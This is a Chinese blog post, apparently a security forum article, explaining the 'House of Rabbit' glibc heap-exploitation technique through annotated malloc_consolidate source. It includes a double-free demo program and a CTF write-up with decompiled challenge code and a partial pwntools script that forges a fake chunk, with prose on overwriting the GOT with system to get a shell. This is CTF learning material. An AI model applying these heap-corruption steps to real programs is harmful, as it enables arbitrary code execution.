-
-
[原创]堆利用详解:the house of rabbit(超详细)
-
发表于: 2024-1-18 14:54 12715
-
介绍部分来自参考资料[0],其余内容参考自glibc malloc源码,本文结合源码探讨了malloc中的多种机制:包括malloc consolidation,unsortedbin sort,mmap,heap grow等
overflow write
、use after free
该利用技巧的核心是 malloc_consolidate
函数,当检测到有 fastbin
的时候,会取出每一个 fastbin chunk
,将其放置到 unsortedbin
中,并进行合并。以修改 fd
为例,利用过程如下:
抓住重点:house of rabbit
是对 malloc_consolidate
的利用。因此,不一定要按照原作者的思路来,他的思路需要满足的条件太多了。
实验环境:libc 2.35
流程如下:
填充满tcachebin,以便后续使用fastbin chunk
申请同大小的chunk再释放,使其进入fastbin,指针是p1
申请一个tcache-sized chunk p3,触发malloc_consolidate
此时指向fastbin的指针指向刚刚申请的p3,此时可以再次释放p1,从而对同一个地址连续释放了2次,触发了双重释放
当再次申请p4的时候,位置和p3依然是一样的
简单来说,就是轻量版本的free里的consolidation过程,是针对fastbin chunk的,流程如下:
设置av->have_fastchunks
为false
遍历每一个fastbin
遇到fastbin chunk,就进行合并
安全检查:该chunk的大小和该bin的大小需要匹配
向上合并(低地址),能合就合
向下合并(高地址),能合就合
_int_malloc
中,当不能从fastbin
中申请,且申请大小不属于small size
时,如果当前arena
有fastbin chunk
,就会进行调用:
_int_malloc
中,当无法通过top chunk
分配,且arena
中有fastbin chunk
时,就会进行调用:
_int_free
中,释放到unsortedbin
进行consolidation
的过程中,在向前向后合并完成了以后,如果合并的大小超过0x10000
,就检测fastbin chunk并进行合并:
和 libc 2.23 相比,新增了3个检查:
在遍历的时候,会检查chunk的内存对齐
在遍历的时候,会检查chunk的大小和fastbin的大小是否匹配
在向前合并的时候,会检查prev_size和前一个chunk的size是否相同
实验环境:libc 2.23
这个实验我做了2天,还是思想太局限了,没收集好题目给出的信息,就在硬做,看到大佬的exp,恍然大悟,实在精彩!精彩!
保护:没有PIE,以及Partial RELRO,意味着got表可以作为利用目标
main函数:很简洁,三个功能,其中没有任何地方能打印
malloc的函数:根据输入的选项申请固定大小的内存
edit函数:存在释放后写入漏洞,可以修改释放后的chunk
free的函数:释放后没清楚函数指针,可能存在UAF,Double-Free(由于没有libc leak,没法用double-free打)
其中重要变量的内存布局:
由于整个程序不会打印任何东西,所以没法得到libc leak
但是其中有一个功能提供了申请0xFFFFFFFFFFFFFF70LL
大小和0xA00000uLL
大小内存的功能(当时我还不懂,后来发现这是整个利用的核心!)
其实这个0xA00000uLL
是个提示,回顾一下libc 2.23下malloc的过程:
首先是检查是否满足fastbin大小要求,满足且存在适合的chunk就从fastbin中分配
然后检查是否满足smallbin,满足且存在适合的chunk就从smallbin中分配
同时检查是否满足largebin,满足就计算一下所属的largebin的索引idx
进行unsortedbin的处理过程,从后向前遍历unsortedbin链表,满足切割分配就切割分配,大小精确匹配就分配,大小不匹配的就根据大小装入largebin和smallbin
unsortedbin处理完之后,从largebin中找满足大小要求的chunk分配,要么直接分配出去,要么切割分配出去,剩下的部分装入unsortedbin
最后在从top chunk分配,分配不了就用sysmalloc去映射内存或者扩大top chunk
在从unsortedbin或largebin,smallbin中断链的时候,会检查next chunk的prev_size和当前size是否匹配
这里的0xA00000
给出的提示就是要用到largebin去分配巨大的0xFFFFFFFFFFFFFF70LL
内存,通过分割来获得能覆盖指针数组的chunk
那么处理思路就是:
首先申请2个0xa00000
的chunk,并释放掉,目的是:
用来提升**av->system_mem**
(后面探讨原因,见后文:探讨2)
然后申请fastbin size chunk,释放掉,通过WAF漏洞来修改其fd指针指向buffer,此时的bin:
此时buffer被修改成如下样子
这里为什么要这样构造buffer结构?
回顾一下malloc consolidation的过程:
从fastbin中依次取出fastbin chunk
对chunk进行简易版的free的consolidation过程
这里会进行向前向后合并的操作,修改prev_inuse标志为1,可以使其不向上合并,但是依然会进行向下合并的检查:
这里的下一个chunk在0x602140,然后再下一个chunk由于大小是0,所以还在同样的位置,检查prev_inuse位是1,不进行合并操作,触发malloc consolidation后会直接把chunk 0x602130加入unsortedbin(堆中的chunk被合并到top里了)
触发malloc consolidation有两种好达到的情况:
后续通过申请0xa00000大小chunk来触发:
接下来要做的就是把该chunk放入largebin了,此时unsortedbin只有1个chunk,需要做到修改unsortedbin大小为0x80000到0xa00010之间,然后申请一个比该chunk大的内存:
这里就是普通的unsortedbin的处理过程:遍历chunk,如果不能通过remainder分配,且大小不精准匹配,就装入largebin或smallbin
修改后的内存:
bin:
此时修改该largebin chunk size为一个巨大的值,这个值需要满足:
修改成0xFFFFFFFFFFFFFF70 + 0x80 = fffffffffffffff0
即可 (注意unlink的时候会计算next chunk检查prev_size)
申请巨大内存后:
这里就没啥好说的了,申请一个0x20字节的chunk,触发remainder,可控内容为got表的地址:
修改其中的内容指向system函数
然后找一个写有/bin/sh
的指针进行free:
即可拿到shell
正常情况下,超过top大小的申请,会进入sysmalloc进行处理
在sysmalloc中,会优先使用mmap来处理,使用mmap的条件:
mp_此时的状态:
其中,mp_.mmap_threshold
的值为初始值:0x20000
,小于申请大小nb,mmap数量也没超过上限,就会进入mmap的流程,映射一块内存分配下来
从前面的结果来看,第二次申请同样大小的chunk时,没有通过mmap处理,而是top grow来处理分配
这说明第二次到这里的时候条件不再满足,调试查看mp_的状态:
发现是mp_.mmap_threshold
的值发生了变化
在这两次申请内存之间只间隔了一个free,问题应该就出现在free中
可以看到,如果chunk是映射的,就会调整mp_.mmap_threshold
的大小,这意味着,小于该大小的chunk将不再通过mmap进行分配
可以推测出映射内存的一个条件是:当申请内存超过上一次映射释放的大小了之后,才会重新映射内存来分配
在malloc的过程中有一个检查,在处理unsortedbin的时候:
这里检查unsortedbin chunk的大小,大小不能超过堆申请的总大小
关于这个av->system_mem
,它会在top grow之后进行累加,在sysmalloc函数中,heap grow之后有这么一段:
这里会记录heap中新增的大小,累加到av->system_mem
中,表示现在系统中可用的内存有这么大
后续触发unsortedbin sort机制的时候,需要满足这个条件,就需要提前去增加av->system_mem
的大小,方式就是触发heap grow
回顾该exp,总共使用了5次对0xa00000内存的申请,其中第4次触发sort机制
如果刚开始不去触发heap grow,则只会在malloc consolidation的时候触发mmap的调用,在触发sort机制的时候触发heap grow,但是顺序是先检查unsortedbin chunk size,再heap grow,所以来不及
因此:就需要至少申请一次该大小的chunk在之前
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
void
main() {
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
puts
(
"This is a powerful technique that bypasses the double free check in tcachebin."
);
printf
(
"Fill up the tcache list to force the fastbin usage...\n"
);
void
*ptr[7];
for
(
int
i = 0; i < 7; i++)
ptr[i] =
malloc
(0x40);
for
(
int
i = 0; i < 7; i++)
free
(ptr[i]);
void
* p1 =
calloc
(1,0x40);
printf
(
"Allocate another chunk of the same size p1=%p \n"
, p1);
printf
(
"Freeing p1 will add this chunk to the fastbin list...\n\n"
);
free
(p1);
void
* p3 =
malloc
(0x400);
printf
(
"Allocating a tcache-sized chunk (p3=%p)\n"
, p3);
printf
(
"will trigger the malloc_consolidate and merge\n"
);
printf
(
"the fastbin chunks into the top chunk, thus\n"
);
printf
(
"p1 and p3 are now pointing to the same chunk !\n\n"
);
assert
(p1 == p3);
printf
(
"Triggering the double free vulnerability!\n\n"
);
free
(p1);
void
*p4 =
malloc
(0x400);
assert
(p4 == p3);
printf
(
"The double free added the chunk referenced by p1 \n"
);
printf
(
"to the tcache thus the next similar-size malloc will\n"
);
printf
(
"point to p3: p3=%p, p4=%p\n\n"
,p3, p4);
}
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
void
main() {
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
puts
(
"This is a powerful technique that bypasses the double free check in tcachebin."
);
printf
(
"Fill up the tcache list to force the fastbin usage...\n"
);
void
*ptr[7];
for
(
int
i = 0; i < 7; i++)
ptr[i] =
malloc
(0x40);
for
(
int
i = 0; i < 7; i++)
free
(ptr[i]);
void
* p1 =
calloc
(1,0x40);
printf
(
"Allocate another chunk of the same size p1=%p \n"
, p1);
printf
(
"Freeing p1 will add this chunk to the fastbin list...\n\n"
);
free
(p1);
void
* p3 =
malloc
(0x400);
printf
(
"Allocating a tcache-sized chunk (p3=%p)\n"
, p3);
printf
(
"will trigger the malloc_consolidate and merge\n"
);
printf
(
"the fastbin chunks into the top chunk, thus\n"
);
printf
(
"p1 and p3 are now pointing to the same chunk !\n\n"
);
assert
(p1 == p3);
printf
(
"Triggering the double free vulnerability!\n\n"
);
free
(p1);
void
*p4 =
malloc
(0x400);
assert
(p4 == p3);
printf
(
"The double free added the chunk referenced by p1 \n"
);
printf
(
"to the tcache thus the next similar-size malloc will\n"
);
printf
(
"point to p3: p3=%p, p4=%p\n\n"
,p3, p4);
}
0x55555555b8d0 0x0000000000000000 0x0000000000000051 ........Q....... <-- fastbins[0x50][0]
0x55555555b8e0 0x000000055555555b 0x0000000000000000 [UUU............
0x55555555b8f0 0x0000000000000000 0x0000000000000000 ................
0x55555555b900 0x0000000000000000 0x0000000000000000 ................
0x55555555b910 0x0000000000000000 0x0000000000000000 ................
0x55555555b920 0x0000000000000000 0x00000000000206e1 ................ <-- Top chunk
0x55555555b8d0 0x0000000000000000 0x0000000000000051 ........Q....... <-- fastbins[0x50][0]
0x55555555b8e0 0x000000055555555b 0x0000000000000000 [UUU............
0x55555555b8f0 0x0000000000000000 0x0000000000000000 ................
0x55555555b900 0x0000000000000000 0x0000000000000000 ................
0x55555555b910 0x0000000000000000 0x0000000000000000 ................
0x55555555b920 0x0000000000000000 0x00000000000206e1 ................ <-- Top chunk
0x55555555b8d0 0x0000000000000000 0x0000000000000411 ................ p1 == p3
0x55555555b8e0 0x000000055555555b 0x0000000000000000 [UUU............
0x55555555b8f0 0x0000000000000000 0x0000000000000000 ................
0x55555555b900 0x0000000000000000 0x0000000000000000 ................
0x55555555b910 0x0000000000000000 0x0000000000000000 ................
0x55555555b920 0x0000000000000000 0x00000000000206e1 ................
0x55555555b8d0 0x0000000000000000 0x0000000000000411 ................ p1 == p3
0x55555555b8e0 0x000000055555555b 0x0000000000000000 [UUU............
0x55555555b8f0 0x0000000000000000 0x0000000000000000 ................
0x55555555b900 0x0000000000000000 0x0000000000000000 ................
0x55555555b910 0x0000000000000000 0x0000000000000000 ................
0x55555555b920 0x0000000000000000 0x00000000000206e1 ................
static
void
malloc_consolidate(mstate av)
{
mfastbinptr *fb;
/* current fastbin being consolidated */
mfastbinptr *maxfb;
/* last fastbin (for loop control) */
mchunkptr p;
/* current chunk being consolidated */
mchunkptr nextp;
/* next chunk to consolidate */
mchunkptr unsorted_bin;
/* bin header */
mchunkptr first_unsorted;
/* chunk to link to */
/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int
nextinuse;
// 设置 av->have_fastchunks 为 false(0)
atomic_store_relaxed(&av->have_fastchunks,
false
);
// 取出 unsortedbin chunk
unsorted_bin = unsorted_chunks(av);
/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
移除fastbin中的chunk,然后合并,放到unsortedbin
*/
// 取出最大的 fastbin
maxfb = &fastbin(av, NFASTBINS - 1);
// 取出最小的 fastbin
fb = &fastbin(av, 0);
do
{
p = atomic_exchange_acq(fb, NULL);
// 从最小的fb到最大的fb进行遍历,有chunk就进入处理
if
(p != 0)
{
// 遍历每一个 fastbin chunk
do
{
{
// 安全检查:p 需要是内存对齐的
if
(__glibc_unlikely(misaligned_chunk(p)))
malloc_printerr(
"malloc_consolidate(): "
"unaligned fastbin chunk detected"
);
// 获取 fastbin 索引
unsigned
int
idx = fastbin_index(chunksize(p));
// 安全检查:该fastbin的大小检查,不能是其他大小
if
((&fastbin(av, idx)) != fb)
malloc_printerr(
"malloc_consolidate(): invalid chunk size"
);
}
// 检查 prev_inuse 位为 1
check_inuse_chunk(av, p);
// 解密 next 指针,拿到next chunk地址
nextp = REVEAL_PTR(p->fd);
/* Slightly streamlined version of consolidation code in free() */
// 轻量线性版本的free()的consolidation
// 获取大小
size = chunksize(p);
// 获取next chunk 及其 size
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
// 如果prev_inuse==0,意味着上一个chunk是空闲的normal chunk,向上(低地址)合并
if
(!prev_inuse(p))
{
// 获取 prev_size,计算合并后大小 size,获取prev chunk ptr
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((
long
)prevsize));
// 安全检查:如果chunk size和next chunk 的 prev_size不一致,报错
if
(__glibc_unlikely(chunksize(p) != prevsize))
malloc_printerr(
"corrupted size vs. prev_size in fastbins"
);
// 双链表断链 prev chunk
unlink_chunk(av, p);
}
// 如果下一个chunk不是top chunk
if
(nextchunk != av->top)
{
// 判断再下一个chunk的prev_inuse
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
// 如果是0,表示next chunk是空闲的
if
(!nextinuse)
{
// 大小合并,断链
size += nextsize;
unlink_chunk(av, nextchunk);
}
else
// 清除next chunk的prev_inuse位
clear_inuse_bit_at_offset(nextchunk, 0);
// 插入到 unsortedbin 的前面
// 取出unsortedbin中的第一个
first_unsorted = unsorted_bin->fd;
// 第一个设置成新的chunk
unsorted_bin->fd = p;
// 原本第一个的上一个设置成新的chunk
first_unsorted->bk = p;
// 如果是largebin size chunk,就清空nextsize位
if
(!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
// 设置标志位,完成插入操作
set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}
// 如果下一个chunk是top chunk
else
{
// 合并到top chunk
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}
}
while
((p = nextp) != 0);
}
}
while
(fb++ != maxfb);
}
static
void
malloc_consolidate(mstate av)
{
mfastbinptr *fb;
/* current fastbin being consolidated */
mfastbinptr *maxfb;
/* last fastbin (for loop control) */
mchunkptr p;
/* current chunk being consolidated */
mchunkptr nextp;
/* next chunk to consolidate */
mchunkptr unsorted_bin;
/* bin header */
mchunkptr first_unsorted;
/* chunk to link to */
/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int
nextinuse;
// 设置 av->have_fastchunks 为 false(0)
atomic_store_relaxed(&av->have_fastchunks,
false
);
// 取出 unsortedbin chunk
unsorted_bin = unsorted_chunks(av);
/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
移除fastbin中的chunk,然后合并,放到unsortedbin
*/
// 取出最大的 fastbin
maxfb = &fastbin(av, NFASTBINS - 1);
// 取出最小的 fastbin
fb = &fastbin(av, 0);
do
{
p = atomic_exchange_acq(fb, NULL);
// 从最小的fb到最大的fb进行遍历,有chunk就进入处理
if
(p != 0)
{
// 遍历每一个 fastbin chunk
do
{
{
// 安全检查:p 需要是内存对齐的
if
(__glibc_unlikely(misaligned_chunk(p)))
malloc_printerr(
"malloc_consolidate(): "
"unaligned fastbin chunk detected"
);
// 获取 fastbin 索引
unsigned
int
idx = fastbin_index(chunksize(p));
// 安全检查:该fastbin的大小检查,不能是其他大小
if
((&fastbin(av, idx)) != fb)
malloc_printerr(
"malloc_consolidate(): invalid chunk size"
);
}
// 检查 prev_inuse 位为 1
check_inuse_chunk(av, p);
// 解密 next 指针,拿到next chunk地址
nextp = REVEAL_PTR(p->fd);
/* Slightly streamlined version of consolidation code in free() */
// 轻量线性版本的free()的consolidation
// 获取大小
size = chunksize(p);
// 获取next chunk 及其 size
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
// 如果prev_inuse==0,意味着上一个chunk是空闲的normal chunk,向上(低地址)合并
if
(!prev_inuse(p))
{
// 获取 prev_size,计算合并后大小 size,获取prev chunk ptr
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((
long
)prevsize));
// 安全检查:如果chunk size和next chunk 的 prev_size不一致,报错
if
(__glibc_unlikely(chunksize(p) != prevsize))
malloc_printerr(
"corrupted size vs. prev_size in fastbins"
);
// 双链表断链 prev chunk
unlink_chunk(av, p);
}
// 如果下一个chunk不是top chunk
if
(nextchunk != av->top)
{
// 判断再下一个chunk的prev_inuse
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
// 如果是0,表示next chunk是空闲的
if
(!nextinuse)
{
// 大小合并,断链
size += nextsize;
unlink_chunk(av, nextchunk);
}
else
// 清除next chunk的prev_inuse位
clear_inuse_bit_at_offset(nextchunk, 0);
// 插入到 unsortedbin 的前面
// 取出unsortedbin中的第一个
first_unsorted = unsorted_bin->fd;
// 第一个设置成新的chunk
unsorted_bin->fd = p;
// 原本第一个的上一个设置成新的chunk
first_unsorted->bk = p;
// 如果是largebin size chunk,就清空nextsize位
if
(!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
// 设置标志位,完成插入操作
set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}
// 如果下一个chunk是top chunk
else
{
// 合并到top chunk
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}
}
while
((p = nextp) != 0);
}
}
while
(fb++ != maxfb);
}
else
{
// largebin 中取出
idx = largebin_index(nb);
if
(atomic_load_relaxed(&av->have_fastchunks))
malloc_consolidate(av);
}
else
{
// largebin 中取出
idx = largebin_index(nb);
if
(atomic_load_relaxed(&av->have_fastchunks))
malloc_consolidate(av);
}
else
if
(atomic_load_relaxed(&av->have_fastchunks))
{
malloc_consolidate(av);
// 合并操作
/* restore original bin index */
// 保存原本bin索引
if
(in_smallbin_range(nb))
idx = smallbin_index(nb);
else
idx = largebin_index(nb);
}
else
if
(atomic_load_relaxed(&av->have_fastchunks))
{
malloc_consolidate(av);
// 合并操作
/* restore original bin index */
// 保存原本bin索引
if
(in_smallbin_range(nb))
idx = smallbin_index(nb);
else
idx = largebin_index(nb);
}
if
((unsigned
long
)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD)
// 阈值:65536
{
// 如果fastbins存在,就合并
if
(atomic_load_relaxed(&av->have_fastchunks))
malloc_consolidate(av);
if
((unsigned
long
)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD)
// 阈值:65536
{
// 如果fastbins存在,就合并
if
(atomic_load_relaxed(&av->have_fastchunks))
malloc_consolidate(av);
// 如果prev_inuse==0,意味着上一个chunk是空闲的normal chunk,向上(低地址)合并
if
(!prev_inuse(p))
{
// 获取 prev_size,计算合并后大小 size,获取prev chunk ptr
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((
long
)prevsize));
// 安全检查:如果chunk size和next chunk 的 prev_size不一致,报错
if
(__glibc_unlikely(chunksize(p) != prevsize))
malloc_printerr(
"corrupted size vs. prev_size in fastbins"
);
// 双链表断链 prev chunk
unlink_chunk(av, p);
}
// 如果prev_inuse==0,意味着上一个chunk是空闲的normal chunk,向上(低地址)合并
if
(!prev_inuse(p))
{
// 获取 prev_size,计算合并后大小 size,获取prev chunk ptr
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((
long
)prevsize));
// 安全检查:如果chunk size和next chunk 的 prev_size不一致,报错
if
(__glibc_unlikely(chunksize(p) != prevsize))
malloc_printerr(
"corrupted size vs. prev_size in fastbins"
);
// 双链表断链 prev chunk
unlink_chunk(av, p);
}
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
void
__fastcall __noreturn main(
__int64
a1,
char
**a2,
char
**a3)
{
int
choose;
// [rsp+4h] [rbp-Ch] BYREF
unsigned
__int64
v4;
// [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_4008DC(a1, a2, a3);
sub_400950();
while
( 1 )
{
__isoc99_scanf(
"%d"
, &choose);
getchar
();
switch
( choose )
{
case
2:
fp_free();
break
;
case
3:
fp_edit();
break
;
case
1:
fp_malloc();
// 1:0x10
// 2:0x80
// 3:0xa00000
break
;
}
}
}
void
__fastcall __noreturn main(
__int64
a1,
char
**a2,
char
**a3)
{
int
choose;
// [rsp+4h] [rbp-Ch] BYREF
unsigned
__int64
v4;
// [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_4008DC(a1, a2, a3);
sub_400950();
while
( 1 )
{
__isoc99_scanf(
"%d"
, &choose);
getchar
();
switch
( choose )
{
case
2:
fp_free();
break
;
case
3:
fp_edit();
break
;
case
1:
fp_malloc();
// 1:0x10
// 2:0x80
// 3:0xa00000
break
;
}
}
}
__int64
fp_malloc()
{
__int64
size;
// [rsp+0h] [rbp-20h] BYREF
unsigned
__int64
i;
// [rsp+8h] [rbp-18h]
void
*p;
// [rsp+10h] [rbp-10h]
unsigned
__int64
v4;
// [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
__isoc99_scanf(
"%lu"
, &size);
getchar
();
switch
( size )
{
case
1LL:
p =
malloc
(0x10uLL);
break
;
case
2LL:
p =
malloc
(0x80uLL);
break
;
case
3LL:
p =
malloc
(0xA00000uLL);
break
;
case
13337LL:
if
( g_tag == 1 )
return
0xFFFFFFFFLL;
p =
malloc
(0xFFFFFFFFFFFFFF70LL);
// 有大用!
g_tag = 1;
break
;
}
if
( !p )
return
0xFFFFFFFFLL;
fp_read(p, 8LL);
for
( i = 0LL; i <= 9 && *(&ptr + i); ++i )
;
if
( i == 10 )
exit
(0);
*(&ptr + i) = p;
return
0LL;
}
__int64
fp_malloc()
{
__int64
size;
// [rsp+0h] [rbp-20h] BYREF
unsigned
__int64
i;
// [rsp+8h] [rbp-18h]
void
*p;
// [rsp+10h] [rbp-10h]
unsigned
__int64
v4;
// [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
__isoc99_scanf(
"%lu"
, &size);
getchar
();
switch
( size )
{
case
1LL:
p =
malloc
(0x10uLL);
break
;
case
2LL:
p =
malloc
(0x80uLL);
break
;
case
3LL:
p =
malloc
(0xA00000uLL);
break
;
case
13337LL:
if
( g_tag == 1 )
return
0xFFFFFFFFLL;
p =
malloc
(0xFFFFFFFFFFFFFF70LL);
// 有大用!
g_tag = 1;
break
;
}
if
( !p )
return
0xFFFFFFFFLL;
fp_read(p, 8LL);
for
( i = 0LL; i <= 9 && *(&ptr + i); ++i )
;
if
( i == 10 )
exit
(0);
*(&ptr + i) = p;
return
0LL;
}
__int64
fp_edit()
{
unsigned
int
index;
// [rsp+4h] [rbp-Ch] BYREF
unsigned
__int64
v2;
// [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
__isoc99_scanf(
"%d"
, &index);
getchar
();
if
( index >= 0xA )
return
0xFFFFFFFFLL;
fp_read(*(&ptr + (
int
)index), 8LL);
// 存在WAF
fp_read(&g_buffer, 48LL);
return
0LL;
}
__int64
fp_edit()
{
unsigned
int
index;
// [rsp+4h] [rbp-Ch] BYREF
unsigned
__int64
v2;
// [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
__isoc99_scanf(
"%d"
, &index);
getchar
();
if
( index >= 0xA )
return
0xFFFFFFFFLL;
fp_read(*(&ptr + (
int
)index), 8LL);
// 存在WAF
fp_read(&g_buffer, 48LL);
return
0LL;
}
__int64
fp_free()
{
unsigned
int
index;
// [rsp+4h] [rbp-Ch] BYREF
unsigned
__int64
v2;
// [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
__isoc99_scanf(
"%d"
, &index);
getchar
();
if
( index >= 0xA )
return
0xFFFFFFFFLL;
free
(*(&ptr + (
int
)index));
// 没有清0指针,可能存在double-free,UAF
return
0LL;
}
__int64
fp_free()
{
unsigned
int
index;
// [rsp+4h] [rbp-Ch] BYREF
unsigned
__int64
v2;
// [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
__isoc99_scanf(
"%d"
, &index);
getchar
();
if
( index >= 0xA )
return
0xFFFFFFFFLL;
free
(*(&ptr + (
int
)index));
// 没有清0指针,可能存在double-free,UAF
return
0LL;
}
.bss:00000000006020C0 ;
void
*ptr
.bss:00000000006020C0 ptr dq 0Ch dup(?) ; DATA XREF: fp_malloc+E8↑r
.bss:00000000006020C0 ; fp_malloc+113↑w ...
.bss:0000000000602120 g_buffer dq 6 dup(?) ; DATA XREF: fp_edit+67↑o
.bss:0000000000602150 dd ?
.bss:00000000006020C0 ;
void
*ptr
.bss:00000000006020C0 ptr dq 0Ch dup(?) ; DATA XREF: fp_malloc+E8↑r
.bss:00000000006020C0 ; fp_malloc+113↑w ...
.bss:0000000000602120 g_buffer dq 6 dup(?) ; DATA XREF: fp_edit+67↑o
.bss:0000000000602150 dd ?
# trigger top grow
add(
3
,
'0'
)
dele(
0
)
add(
3
,
'1'
)
dele(
1
)
add(
1
,
'2'
)
dele(
2
)
payload
=
flat({
0x00
:pack(
0
)
+
pack(
0x00
),
0x10
:pack(
0
)
+
pack(
0x11
),
0x20
:pack(
0
)
+
pack(
1
)
})
edit(
2
,pack(
0x602130
),payload)
# malloc consolidation
add(
3
,
'3'
)
# trigger top grow
add(
3
,
'0'
)
dele(
0
)
add(
3
,
'1'
)
dele(
1
)
add(
1
,
'2'
)
dele(
2
)
payload
=
flat({
0x00
:pack(
0
)
+
pack(
0x00
),
0x10
:pack(
0
)
+
pack(
0x11
),
0x20
:pack(
0
)
+
pack(
1
)
})
edit(
2
,pack(
0x602130
),payload)
# malloc consolidation
add(
3
,
'3'
)
pwndbg>
bin
fastbins
0x20
:
0x245a000
—▸
0x602130
◂—
0x0